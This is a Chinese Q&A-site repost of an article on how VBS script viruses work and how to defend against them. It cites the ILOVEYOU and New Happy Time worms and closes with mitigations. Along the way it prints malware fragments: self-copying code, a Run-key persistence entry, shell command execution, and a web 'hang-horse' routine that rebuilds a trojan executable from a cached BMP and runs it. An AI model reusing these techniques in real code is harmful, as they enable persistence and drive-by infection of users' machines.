VBS脚本病毒原理分析及防范 计算机病毒原理与防范

 我来答
设计师董师傅
2023-02-24 · TA获得超过313个赞
知道小有建树答主
回答量:167
采纳率:100%
帮助的人:75.8万
展开全部
  1 引言      VBS语言为程序设计提供了很大的方便,特别是在动态网页设计中使用广泛。但是VBS的各种特点也使之成为制造病毒的理想工具。2000年5月4日欧美爆发了“爱虫”网络蠕虫病毒。由于通过电子邮件系统传播,爱虫病毒在短短几天内狂袭全球数百万计的电脑。2002年4月出现的新欢乐时光病毒也席卷了中国很多电脑,并在“2003年中国计算机病毒疫情调查技术分析报告”的十大病毒中,高居榜首。
  
  2 VBS病毒的特点
  
  顾名思义VBS病毒是用VBS语言编写的。VBS是“Visual Basic Script”的缩写,就是VB语言的脚本版。该脚本语言功能非常强大,它们利用开放性的特点,通过调用一些现成的Windows对象、组件,可以直接对文件系统、注册表等进行控制,为制造病毒提供了非常好的条件。
  
  3 VBS病毒的基本原理
  
  (1) VBS脚本病毒如何感染文件
  VBS脚本病毒一般是直接通过自我复制来感染文件的。譬如爱虫病毒是直接生成一个文件的副本,将病毒代码拷入其中,并以原文件名作为病毒文件名的前缀,vbs作为后缀。病毒自我复制的代码如下:
  set copy1=createobject("scripting.filesystemobject")"创建一个文件系统对象
  copy1.getfile(wscript.scriptfullname).copy("c:\huan.vbs")"脚本自我复制
  上面描述了病毒文件如何进行自我复制的,只要在病毒代码中加上上述代码就可实现自我复制了。
  (2) VBS脚本病毒如何修改注册表
  注册表几乎是每种病毒都喜欢光顾的地方。这是因为病毒要想在用户重启计算机之后仍能够运行,一般都要通过修改注册表中的启动项的键值。当然,VBS病毒也不例外,而且VBS脚本对注册表的修改十分简单。只要通过如下代码就可做到:
  以下是一个蠕虫病毒的修改注册表部分的代码:
  Dim Reg"定义Wscript.Shell对象
  SetReg=CreateObject ( "wscript.Shell")"确定创建对象项目
   "把资料写入Registry
  Reg.RegWrite
  "HKEY_LOCAL_MACHINE\SOFTWARE
  \Microsoft \ Windows \ CurrentVersion \Run
  Mapi","C:\WINNT\SYSTEM\Mapi.exe"
  "在启动项中增加病毒项
  (3) VBS 脚本病毒如何直接运行 windows命令
  除了能对注册表修改,vbs脚本还能直接运行windows命令。只要使用如下代码:
  Set objShell = CreateObject("Wscript.Shell")"创建Wscript.Shell对象
  objShell.Run( "wmplayer.exe D:\1.MP3"),0,TRUE"在后台播放1.MP3
  这将使vbs脚本病毒的功能更加强大。也就是说,任何windows下的操作几乎都可以在病毒中实现。这些病毒可以轻易地关掉你的杀毒软件,甚至也可以执行format这样的格式化磁盘的命令。这将给用户带来毁灭性的打击。
  (4) VBS脚本病毒制造机的使用
  这是一些菜鸟最喜欢用的制造VBS脚本病毒的方法。这种方法非常简单,一个几乎不懂编程的人可以编出具有相当威力的病毒。这种病毒制造机充分利用了脚本语言的优越性。因为脚本语言是解释执行的,不需要编译,程序中不需要什么校验和定位,每条语句之间分隔得比较清楚。这样,先将病毒功能做成很多单独的模块,在用户做出病毒功能选择后,病毒制造机只需要将相应的功能模块拼凑起来,最后再作相应的代码替换和优化即可。
  (5) 利用VBS脚本进行网页挂马
  目前VBS使用最多的地方应该就是在网页设计中了。特别是在动态网页asp或html中嵌入VBS可以实现相当多的功能。网页挂马就是用这种原理。所谓网页挂马就是黑客自己写一个网页,当你浏览该网页时会自动下载木马并且运行。为了让用户浏览该网页,黑客往往会入侵一个正常的网站,然后在该网页上加上打开网马地址的html语句。这样当有用户访问该网站时会自动打开网马地址从而中木马。下面我们来分析一下挂马的原理:
  以下是一个种BMP木马网页的核心代码:
  CACHE=wsh.RegRead
  ("HKCU \Software \ Microsoft\Windows
  \ CurrentVersion \ Explorer \ Shell Folders
  Cache")
  "通过读注册表得到网页缓存地址
  str=FSO.GetParentFolderName(CACH
  E)&"\"&CACHE.name&"\"&"1.bmp");
  "得到bmp临时文件的完整路径
  set File=FSO.GetFile(str)"定义bmp文件的对象
  File.Copy(tmp&"tmp.dat")"复制bmp文件为tmp.dat文件
  set Lt=FSO.CreateTextFile(tmp&"tmp.bat")"创建tmp.bat批处理文件
  Lt.WriteLine("@echo off")"写tmp.bat文件
  Lt.WriteLine( "debug" & tmp & "tmp.dat"&tmp&"tmp.out")
  Lt.WriteLine ("copy"& tmp& "tmp.dat" &
  winsys&"1.exe>"&tmp&"tmp.out")
  Lt.WriteLine(winsys&"1.exe")
  Lt.Close
  WSH.Run tmp&"tmp.bat",false,6
  "运行tmp.bat文件
  这个BMP木马的工作原理是这样的:首先将木马文件加上一个BMP文件头转换成BMP文件,并且在种马网页上添加这个BMP图片文件。当你打开了这个网页时系统会自动将这个文件下到Internet缓存中。再通过读注册表得到用户缓存目录,将该文件另存为tmp.dat文件。然后再生成一个批处理文件。这个批处理文件的功能是调用系统自带的debug程序,通过tmp.in中的命令对tmp.dat文件操作,过滤掉tmp.dat中的BMP文件头,还原为1.exe文件,最后再运行这个木马。写完这个批处理后,VBS脚本再调用这个批处理,完成批处理中的操作。这样当你浏览网页时就自动将木马下载到本地运行了。
  
  4 VBS病毒的防范方法
  
  VBS病毒虽然功能强大,但是仍然有很多弱点。正是因为弱点比较明显,使得近几年来VBS病毒不是很流行。下面我们介绍VBS病毒的防范方法:
  (1)禁用文件系统对象FileSystemObject。用regsvr32 scrrun.dll /u这条命令就可以禁止文件系统对象。
  (2) 删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射,同时取消隐藏系统中已知文件类型的扩展名。这两项可在文件夹选项中设置。
  (3) 在Windows\system32目录中,找到WScript.exe,更改名称或者删除。
  (4)要彻底防治VBS网络蠕虫病毒,还需设置一下浏览器。把“ActiveX控件及插件”的一切设为禁用,同时将系统的网络连接的安全级别设置至少为“中等”。
  (5)禁止Outlook Express的自动收发邮件功能,这样将阻止蠕虫通过邮件的传播。
  (6) 最后一项也是最简单的,就是安装杀毒软件。目前国内杀毒软件已经做得比较好了。只要你安装了可更新病毒库的杀毒软件,还是可以查杀大部分病毒的。
  
  ――――――――――――
  参考文献
  [1]杜宏毅,郑玄宜.完全接触ASP之VBScript.电子工业出版社,2002.
  [2]许卫林,宋先斌,党齐民.VBScript+ASP动态网页设计制作.中国电力出版社,2002.
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式